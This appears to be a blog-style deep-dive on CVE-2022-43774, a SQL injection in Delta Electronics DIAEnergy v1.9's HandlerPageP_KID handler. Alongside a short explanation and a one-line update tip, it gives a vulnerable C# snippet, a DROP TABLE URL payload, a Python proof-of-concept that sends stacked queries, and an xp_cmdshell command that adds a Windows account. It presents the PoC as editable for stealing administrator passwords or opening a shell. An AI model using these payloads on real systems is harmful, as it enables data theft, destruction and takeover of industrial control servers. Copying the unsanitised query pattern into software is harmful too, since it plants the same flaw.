If you work with industrial automation or energy management systems, you might know Delta Electronics’ popular DIAEnergy software. In its v1.9 release, a serious vulnerability named CVE-2022-43774 was discovered in a component called HandlerPageP_KID. This exclusive deep-dive breaks down the bug, what can go wrong, and even gives a proof-of-concept (PoC) to help you understand and defend against it.

What Is CVE-2022-43774?

In plain terms: the HandlerPageP_KID class doesn’t check or clean up (“sanitize”) user input before passing it into a SQL database command. This flaw is called a SQL Injection vulnerability. Bad actors can use this to run their own SQL (Structured Query Language) commands on your system.

Worse yet, attackers can chain this with other tricks to potentially take full control of the DIAEnergy machine remotely.

Where Is the Vulnerability?

Delta Electronics DIAEnergy v1.9 is used to monitor and manage energy devices. It runs a web-based interface that lets users (and also hackers, if exposed) send requests to different backend classes. The problematic part is here:

Here’s a simplified excerpt of the vulnerable code

// This is a simplified illustration of a vulnerable handler:
public void ProcessRequest(HttpContext context)
{
    string id = context.Request.QueryString["id"];
    string query = "SELECT * FROM energymeter WHERE id = " + id;
    SqlCommand cmd = new SqlCommand(query, conn);
    SqlDataReader reader = cmd.ExecuteReader();
    // ... Continue processing
}

Notice how the id parameter from the URL goes straight into the SQL query, unquoted and unsanitized.

How Can an Attacker Exploit This?

Say the attacker can access the web interface, or trick an authenticated user into visiting a malicious link. They can inject SQL code into the id parameter, like this:

http://target-server/page.aspx?id=1; DROP TABLE users; --

-- comments out the rest, ensuring valid SQL syntax.

But attackers can do much more—for example, leak sensitive data, alter records, or for some database setups, even run SYSTEM COMMANDS on the server!

Proof-of-Concept (PoC) Exploit

Let’s craft a real-world example using Python’s requests library, sending our own injected payload to a vulnerable DIAEnergy v1.9 server.

import requests

target = "http://target-server/HandlerPageP_KID.aspx";
# Inject SQL to extract database version:
payload = "1; SELECT @@version; --"

params = {
    'id': payload
}

response = requests.get(target, params=params)
print(response.text)

The variable payload can be edited to run whatever SQL you want, including extracting administrator passwords or trying to write a one-liner that opens a shell.

*In more dangerous setups, an attacker could use SQL’s xp_cmdshell to run Windows commands directly:*

1; EXEC xp_cmdshell 'net user hacker [email] /add'; --

Data destruction: Attackers could delete tables or corrupt logs.

- Remote Code Execution: If features like xp_cmdshell are enabled (in some SQL Server setups), attackers can run system commands, ultimately taking over the Windows server.

How to Fix (Mitigation Tips)

- Update Immediately: Upgrade to the latest version, as Delta Electronics should provide a patch.  
 - Check: https://www.cisa.gov/news-events/ics-advisories/icsa-22-317-02

References

- CVE-2022-43774 Entry – NIST NVD
- Delta DIAEnergy Product Page
- ICS Advisory ICSA-22-317-02 (CISA)
- SQL Injection – OWASP Cheat Sheet

Conclusion

CVE-2022-43774 is a classic, but dangerous, SQL injection flaw in Delta Electronics DIAEnergy v1.9’s backend. While the bug looks simple, it can have catastrophic results: attackers can steal or destroy your data, and even hijack your servers. Fixing SQL injections is not just a best practice—it’s a necessity.

If you’re running DIAEnergy v1.9 or similar software, act now: patch, sanitize, and be vigilant. Stay safe!

Timeline

Published on: 10/26/2022 18:15:00 UTC
Last modified on: 10/28/2022 01:53:00 UTC